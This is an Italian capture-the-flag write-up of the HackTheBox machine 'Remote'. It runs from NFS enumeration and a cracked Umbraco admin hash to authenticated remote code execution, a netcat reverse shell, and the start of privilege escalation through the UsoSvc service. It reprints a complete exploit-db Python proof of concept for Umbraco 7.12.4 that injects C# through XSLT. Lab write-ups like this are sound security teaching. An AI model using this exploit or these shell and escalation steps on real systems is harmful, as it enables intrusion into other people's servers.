Remote – AndyCyberSec

Eseguo una scansione nmap di tutte le porte con il seguente comando:

nmap -T5 --open -sS -vvv --min-rate=1000 --max-retries=2 -p- -oA full-ports 10.10.10.180

Una scansione più approfondita delle porte (-sC -sV) rivela delle informazioni interessanti, infatti, sulla porta 2049 come dettagliato dal servizio RPC gira un nfs (Network file System) quindi probabilmente è possibile montare la partizione in locale:

Controllo quello che c’è all’interno della partizione:

La monto in locale:

ENUM

Pare esserci il backup del sito web e dalle cartelle sembra essere stato realizzato con Umbraco, un content management system in .NET.

Faccio una ricerca su Google e scopro che le credenziali di default di umbraco sono admin:test, quindi eseguo una ricerca all’interno dei file per vedere se trovo qualcosa:

Ci sono dei file di log e sembra che l’utente admin@htb.local abbia eseguito di recente l’accesso all’applicazione. La cartella Umbraco dello share contiene dei file .aspx, decido di provare a visualizzarla nel browser e mi trovo di fronte al pannello di login:

Testo le credenziali di default ma non funzionano. A questo punto mi viene il dubbio che anche il nome utente possa non essere corretto nonostante lo abbia trovato nei log, magari è stato cambiato?

Continuo a testare il pannello di login, provo ad utilizzare il form per il recupero della password per avere una ulteriore conferma dell’esistenza dell’utente admin@htb.local. Umbraco permette di enumerare gli utenti attraverso il form di recupero password guardando i tempi di risposta. Inserendo un utente esistente, i tempi di risposta sono molto più elevati. Nel seguente screen il primo tentativo fa riferimento all’utente admin@htb.local, il secondo a utenteacaso@htb.local. Direi che l’utente admin è corretto:

Mi sposto di nuovo sullo share, dovrà pur esserci un database dove poter trovare delle credenziali no? Dopo un’attenta ricerca mi imbatto nel file Umbraco.sdf all’interno della cartella App_Data. Il file sdf è il database di Umbraco (SQL Server Compact Database File).

Provo a leggere il contenuto come segue:

Bingo! Pare esserci la nostra utenza admin@htb.local e la relativa password, probabilmente MD5: b8be16afba8c314ad33d812f22a04991b90e2aaa

USER FLAG

La do in pasto a john per vedere se tira fuori qualcosa:

Riesco ad entrare con la password appena trovata baconandcheese, cerco la versione di Umbraco per vedere se esiste qualche rce autenticata:

Al link seguente è presente un poc per la versione 7.12.4 di Umbraco.

https://www.exploit-db.com/exploits/46153

# Exploit Title: Umbraco CMS - Remote Code Execution by authenticated administrators
# Dork: N/A
# Date: 2019-01-13
# Exploit Author: Gregory DRAPERI & Hugo BOUTINON
# Vendor Homepage: http://www.umbraco.com/
# Software Link: https://our.umbraco.com/download/releases
# Version: 7.12.4
# Category: Webapps
# Tested on: Windows IIS
# CVE: N/A


import requests;

from bs4 import BeautifulSoup;

def print_dict(dico):
    print(dico.items());
    
print("Start");

# Execute a calc for the PoC
payload = '<?xml version="1.0"?><xsl:stylesheet version="1.0" \
xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" \
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">\
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() \
{ string cmd = ""; System.Diagnostics.Process proc = new System.Diagnostics.Process();\
 proc.StartInfo.FileName = "calc.exe"; proc.StartInfo.Arguments = cmd;\
 proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; \
 proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } \
 </msxsl:script><xsl:template match="/"> <xsl:value-of select="csharp_user:xml()"/>\
 </xsl:template> </xsl:stylesheet> ';

login = "XXXX;
password="XXXX";
host = "XXXX";

# Step 1 - Get Main page
s = requests.session()
url_main =host+"/umbraco/";
r1 = s.get(url_main);
print_dict(r1.cookies);

# Step 2 - Process Login
url_login = host+"/umbraco/backoffice/UmbracoApi/Authentication/PostLogin";
loginfo = {"username":login,"password":password};
r2 = s.post(url_login,json=loginfo);

# Step 3 - Go to vulnerable web page
url_xslt = host+"/umbraco/developer/Xslt/xsltVisualize.aspx";
r3 = s.get(url_xslt);

soup = BeautifulSoup(r3.text, 'html.parser');
VIEWSTATE = soup.find(id="__VIEWSTATE")['value'];
VIEWSTATEGENERATOR = soup.find(id="__VIEWSTATEGENERATOR")['value'];
UMBXSRFTOKEN = s.cookies['UMB-XSRF-TOKEN'];
headers = {'UMB-XSRF-TOKEN':UMBXSRFTOKEN};
data = {"__EVENTTARGET":"","__EVENTARGUMENT":"","__VIEWSTATE":VIEWSTATE,"__VIEWSTATEGENERATOR":VIEWSTATEGENERATOR,"ctl00$body$xsltSelection":payload,"ctl00$body$contentPicker$ContentIdValue":"","ctl00$body$visualizeDo":"Visualize+XSLT"};

# Step 4 - Launch the attack
r4 = s.post(url_xslt,data=data,headers=headers);

print("End");

Il primo tentativo che faccio è quello di vedere se effettivamente ho rce, lo script originale lancia calc.exe ma non ho modo di sapere se effettivamente la calcolatrice si sia avviata sulla macchina.

Modifico lo script come segue e lancio tcpdump:

Dall’immagine seguente è possibile vedere come remote riesca a pingare la mia macchina, ne consegue che l’rce funziona.

A questo punto vedo se riesco a fare upload di nc.exe attraverso Umbraco e ottenere una reverse shell.

Adesso non mi resta altro che tentare di lanciare nc.exe che suppongo sia stato caricato all’interno di c:\inetpub\wwwroot\media\1033\nc.exe dal momento che lo share site_backup mostrava la presenza di una cartella “media”.

Modifico lo script come segue, avvio netcat in ascolto e lancio lo script:

Ottengo la shell e prendo user flag:

ROOT FLAG

A questo punto faccio il download di PowerUp.ps1 sulla macchina e lancio Invoke-AllChecks:

Dai check risulta esserci un servizio vulnerabile in esecuzione:

Vulnerabile in questo caso significa che il servizio può essere riconfigurato dall’utente corrente.

La funzione Invoke-ServiceAbuse automatizza la creazione di un utente amministratore all’interno della macchina sfruttando proprio la possibilità di riconfigurare il servizio. Quello che segue è un check/exploitation manuale della vulnerabilità anziché utilizzare Invoke-ServiceAbuse.

Scarico sulla macchina accesschk.exe, un tool messo a disposizione da windows che permette di vedere il tipo di accesso di utenti o gruppi a vari tipi di risorse come file, cartelle,chiavi di registro, servizi etc.

https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk

Lancio accesschk.exe, mi devo ricordare di utilizzare /accepteula altrimenti in alcune macchine si blocca la shell:

E’ possibile vedere come gli utenti del gruppo NT AUTHORITY\SERVICE non abbiano nessuna restrizione sul servizio UsoSvc, questo significa che eventualmente posso riconfigurare il servizio a piacimento. Infatti, enumerando l’utenza corrente, IIS fa proprio parte di quel gruppo.